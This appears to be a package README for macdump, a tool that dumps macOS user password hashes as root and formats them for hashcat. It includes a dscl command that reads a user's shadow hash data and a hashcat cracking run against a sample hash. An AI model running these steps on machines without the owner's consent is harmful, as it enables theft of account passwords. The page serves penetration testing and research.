Package: macdump
macdumpDump macOS 1.8+ system user hashes to a hashcat-compatible format.
Can work either directly on the target system to dump hashes of all users (root
required) or offline on shadow hash data extracted from the system.InstallationUse the package manager pip to install to a local machine:pipinstallmacdumpTo get a standalone executable to be transferred to target systems, either download
one from the release pages or build it withpyinstaller,
as shown in theMakefile(make build-executable).If Python is installed (it should be), you can also just copy the standalone
version of the script. Find it inmacdump.pyUsageOn target systemTo run macdump directly on the target system, transfer either the standalone
binary or the scriptmacdump.pyand run it as root.
Obviously, this will only work on macOS.
Output will be roughly as seen below.Running the script (sudo python macdump.py) or the binary (sudo ./macdump):$ sudo python macdump.py
[+] Dumping hashes of all system users
[+] Dumping hash of testuser
[+] Authentication hint:  This is our default password
testuser:$ml$45871$f601fc65d033857cfc926ec2332058f791c1844f4e4fbb763568e063eafd742b$6eaf4c347e36648d471fe07fcf17b099d5f82ad050438d39dbad18a824b86d23165e69a881d699b0f3442658fe3ab77e9720e37386e6d05ef4f945b443f61b51427582447514b810e3be3dce5d70ea8ec215b2babeed0d92275ad662a04467134140a807c28178bb377503a50d4be1ba9d5944af88df04824a7075d1f9f116d5
[+] Put hashes into file 'hashes.txt', then crack with: hashcat -m 7100 --username hashes.txt -a 0 wordlist.txtOfflineYou can extract the shadow hash data on the target Mac, store it to a text file and use that as
input for macdump.
To get the data for userusername, run:sudodscl.-read/Users/usernamedsAttrTypeNative:ShadowHashData>/tmp/shd.txtNote: You may also just include all data by runningsudo dscl . -read /Users/username > /tmp/shd.txt,
which will output a lot of text. macdump finds what it needs.Then get/tmp/shd.txtover to your machine and run:$macdump--from-file/tmp/shd.txt[+]Loadingshadowhashdatafrom/tmp/shd.txt
UNKNOWN_USER:$ml$45871$f601fc65d033857cfc926ec2332058f791c1844f4e4fbb763568e063eafd742b$6eaf4c347e36648d471fe07fcf17b099d5f82ad050438d39dbad18a824b86d23165e69a881d699b0f3442658fe3ab77e9720e37386e6d05ef4f945b443f61b51427582447514b810e3be3dce5d70ea8ec215b2babeed0d92275ad662a04467134140a807c28178bb377503a50d4be1ba9d5944af88df04824a7075d1f9f116d5[+]Puthashesintofile'hashes.txt',thencrackwith:hashcat-m7100--usernamehashes.txt-a0wordlist.txtCrackingHashes are printed in hashcat format including usernames.
Store them inside a filehashes.txt, then run a command like the following:$ hashcat -m 7100 --username hashes.txt -a 0 wordlist.txt

hashcat (v6.2.5) starting

...

$ml$45871$f601fc65d033857cfc926ec2332058f791c1844f4e4fbb763568e063eafd742b$6eaf4c347e36648d471fe07fcf17b099d5f82ad050438d39dbad18a824b86d23165e69a881d699b0f3442658fe3ab77e9720e37
386e6d05ef4f945b443f61b51427582447514b810e3be3dce5d70ea8ec215b2babeed0d92275ad662a04467134140a807c28178bb377503a50d4be1ba9d5944af88df04824a7075d1f9f116d5:pass123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7100 (macOS v10.8+ (PBKDF2-SHA512))
...Try this with the hash seen in the readme and a wordlist containing passwordpass123to verify that your setup works.DisclaimerMacdump is for research and educational purposes only.
Do not run this without consent on anybody's machine.LicenseMIT